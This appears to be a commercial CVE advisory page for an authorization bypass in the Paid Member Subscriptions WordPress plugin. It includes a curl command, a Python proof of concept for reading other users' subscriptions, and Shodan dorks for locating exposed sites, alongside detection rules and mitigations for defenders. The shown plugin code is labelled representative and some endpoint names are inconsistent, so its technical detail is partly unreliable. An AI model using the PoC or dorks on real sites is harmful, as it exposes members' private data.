☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cozmoslabs logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-68514

CVE-2025-68514 Authorization Bypass in Cozmoslabs
📅 PUBLISHED: 2026-02-20 15:46 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
1.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Romania License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-68514 is an Authorization Bypass Through User-Controlled Key vulnerability (CWE-639) in the Cozmoslabs Paid Member Subscriptions WordPress plugin, affecting versions up to and including 2.16.8. This flaw allows an unauthenticated attacker to manipulate user-controlled keys (e.g., subscription IDs, user IDs) to bypass access controls and gain unauthorized access to restricted membership features or data. The vulnerability is classified as Medium severity (CVSS 6.5) and currently has no official patch from the vendor. Given the widespread use of this plugin on WordPress sites, the risk of exploitation is significant, especially for sites handling sensitive member data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a supply chain risk, any site running an unpatched version (<= 2.16.8) is exposed. Since no patch exists, site administrators must consider temporary mitigations such as disabling the plugin or implementing web application firewall (WAF) rules.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Exploit does not affect other components.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The low complexity and no privileges required make this an attractive target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s access control logic, specifically in how it validates user-submitted keys (e.g., subscription_id, user_id, or member_id) when processing membership actions. The plugin fails to verify that the key belongs to the current user or that the user has the appropriate role to access the resource. An attacker can craft a request with a modified key to access another user’s subscription details, upgrade/downgrade memberships, or view sensitive member data.

Root Cause: The plugin uses user-controlled parameters (e.g., $_GET['subscription_id'] or $_POST['user_id']) directly in database queries or permission checks without proper validation or nonce verification. This allows an attacker to enumerate valid keys and bypass authorization.

Attack Vector: HTTP GET/POST requests to vulnerable endpoints such as:

  • /wp-admin/admin-ajax.php?action=pms_handle_member_subscription&subscription_id=ATTACKER_CONTROLLED
  • /wp-json/pms/v1/members/{user_id}

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions <= 2.16.8. Below is a representative example of the flawed logic:

Vulnerable Code (PHP):

// In pms-member-subscriptions.php
function pms_get_member_subscription() {
    $subscription_id = $_GET['subscription_id']; // No validation
    $subscription = get_post($subscription_id);
    // No check if current user owns this subscription
    return $subscription;
}

Expected Patched Code (Hypothetical):

function pms_get_member_subscription() {
    $subscription_id = intval($_GET['subscription_id']);
    $subscription = get_post($subscription_id);
    if ( $subscription->post_author != get_current_user_id() ) {
        wp_die('Unauthorized');
    }
    return $subscription;
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target WordPress site with Paid Member Subscriptions <= 2.16.8.
  • A valid subscription ID (can be enumerated via brute-force or by observing legitimate traffic).

Exploit Steps:

  1. Enumerate subscription IDs by sending requests to:
    GET /wp-admin/admin-ajax.php?action=pms_get_subscription&subscription_id=1
    
  2. If the response returns data for a subscription not owned by the attacker, the vulnerability is confirmed.
  3. Use the following curl command to access another user’s subscription:
    curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=pms_get_subscription&subscription_id=42" -H "Cookie: wordpress_logged_in_..."
    
    (Note: No authentication cookie is required if the endpoint is not protected.)

Proof-of-Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
params = {
    "action": "pms_get_subscription",
    "subscription_id": 42
}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual spikes in requests to admin-ajax.php with action=pms_* parameters.
  • Look for sequential or brute-forced subscription_id values in logs.
  • Use the Sigma rule below to detect exploitation attempts.

Mitigation:

  • Disable the plugin until a patch is available.
  • Implement a WAF rule to block requests with suspicious subscription_id patterns.
  • Restrict access to admin-ajax.php for unauthenticated users.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Repeated GET requests to /wp-admin/admin-ajax.php with action=pms_get_subscription or similar.
    • Requests containing subscription_id parameter with numeric values outside normal range.
  • File IOCs:
    • Modified or new files in /wp-content/plugins/paid-member-subscriptions/ (e.g., backdoored PHP files).
  • Log IOCs:
    • Web server logs showing 200 responses to unauthorized subscription access attempts.

Detection Engineering

YARA Rule

rule CVE_2025_68514_WordPress_Plugin {
    meta:
        description = "Detects exploitation attempts for CVE-2025-68514 in Paid Member Subscriptions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68514"
    strings:
        $s1 = "pms_get_subscription" nocase
        $s2 = "subscription_id" nocase
        $s3 = "admin-ajax.php" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-68514 - Authorization Bypass in Paid Member Subscriptions
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit authorization bypass via user-controlled key in Paid Member Subscriptions plugin.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "action=pms_get_subscription"
            - "action=pms_handle_member_subscription"
        cs-uri-query|re: 'subscription_id=\d+'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68514 - Paid Member Subscriptions Authorization Bypass"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pms_get_subscription"; http_uri; content:"subscription_id"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations.
  2. Apply virtual patching via WAF (e.g., ModSecurity rule to block subscription_id in query strings for unauthenticated users).
  3. Monitor logs for exploitation attempts using the provided Sigma rule.

Long-Term Fix:

  • Await an official patch from Cozmoslabs. Until then, consider replacing the plugin with an alternative membership solution.
  • Implement additional access controls at the application level (e.g., nonce verification, user ownership checks).

Workaround:

  • Add the following code to the theme’s functions.php to block unauthenticated access to vulnerable endpoints:
add_action('init', function() {
    if ( isset($_GET['action']) && strpos($_GET['action'], 'pms_') === 0 && !is_user_logged_in() ) {
        wp_die('Access denied');
    }
});

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Paid Member Subscriptions"
http.html:"paid-member-subscriptions"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-68514/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.